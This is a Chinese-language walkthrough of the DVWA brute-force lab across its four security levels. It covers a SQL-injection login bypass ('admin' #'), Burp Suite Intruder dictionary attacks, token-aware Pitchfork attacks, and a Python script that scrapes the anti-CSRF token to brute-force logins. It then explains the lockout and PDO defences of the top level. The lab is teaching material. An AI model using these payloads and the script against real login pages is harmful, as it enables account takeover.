DVWA Brute Force(暴力破解)全等级

1.Low

查看源码发现关键代码为:

SELECT * FROM users WHERE user = '$user' AND password = '$pass';

Username处输入:admin' #

SQL注入之后查询语句变成:

SELECT * FROM users WHERE user ='admin' # AND password = '$pass';

#为单行注释符,#后面的语句不会执行

真正执行的语句为

SELECT * FROM users WHERE user ='admin'

所以加上单引号闭合字符串再注释掉

只要存在admin就能登录成功。

2.Medium

多了 mysqli_real_escape_string()函数,他转义了特殊字符,以至于Low级别的方法无效。

用burp的Proxy-intercept找到密码变量,然后发送到intruder暴力破解。

打开火狐浏览器,设置代理为127.0.0.1:8080

打开burp的Proxy模块
在这里插入图片描述

点击Login

在这里插入图片描述

发现已经拦截http报文了

在这里插入图片描述

右键http报文然后点击Send to Intruder,然后点击进入Intruder模块

点击右边的Clear § ,然后选中密码,点击Add §

表示将要爆破密码此处的内容

在这里插入图片描述

点击Payloads,然后点击Payload Options的Load,选择字典文件

在这里插入图片描述

配置完成后点击右上角的Start attach开始暴力破解

爆破一段时间后,按照包大小排序,查看与其他响应包不同的数据,查看发现密码已经爆破成功。

在这里插入图片描述

3.High

多出了token函数,登陆的时候必须带上token值。

token是计算机术语令牌,令牌是一种能够控制站点占有媒体的特殊帧,以区别数据帧及其他控制帧;token其实说的更通俗点可以叫暗号,在一些数据传输之前,要先进行暗号的核对,不同的暗号被授权不同的数据操作。

——PHP中文网

方法1——Burp爆破

burp抓包,把密码和token字段add §,然后选择Pitchfork模式

Pitchfork(草叉模式)——它可以使用多组Payload集合,在每一个不同的Payload标志位置上,遍历所有的Payload。

在Resource Pool(资源池)中选择单线程爆破,因为接下来要设置的Recursive_Grep模式只能单线程爆破
在这里插入图片描述

然后在Options选项卡,选择Grep-Extract(意思是用于提取响应消息中的有用信息),点击Add进入Define页面。

在这里插入图片描述

在这里插入图片描述

配置之后就会每次从响应中获取该值,本文中即为token。

然后设置payload,payload 1按照Medium等级那样导入字典即可。

Payload 2的Payload type选择Recursive grep,

它表示将服务器每次返回的数据来替换payload中的变量值,这里用来每次替换user_token的值。

然后在Initial payload for first request:

设置第一条请求包的token值。

在这里插入图片描述

点击Start attack
成功爆破。
在这里插入图片描述

方法2——Python脚本爆破

代码来源:DVWA_Brute Force(暴力破解)_High

from bs4 import BeautifulSoup
import requests
from requests.models import Response

header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
    'Cookie':'PHPSESSID=u9a1hc9luq0u8fs4s2a8k12g05; security=high'
}
url = "http://192.168.171.10/vulnerabilities/brute/index.php"

def get_token(url,headers):
    r = requests.get(url,headers=header)
    html = r.content.decode()
    soup = BeautifulSoup(html,"html.parser")
    user_token = soup.find_all('input')[3]["value"]
    return user_token
i = 0
for admin in open("userPATH"):
    for line in open("passwordPATH"):
        u_token = get_token(url,header)
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login','user_token':u_token}
        i = i + 1
        Response = requests.get(url,params=payload,headers=header)
        print(i,username,password,len(Response.content.decode()))
        user_token = get_token(url,header)

运行结果如下:

在这里插入图片描述

4.Impossible

通过源码可以看到,impossible级别在 high 的基础上对用户的登录次数有所限制,当用户登录失败达到3次,将会锁住账号15秒,同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这里因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令,所以无法暴力破解。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>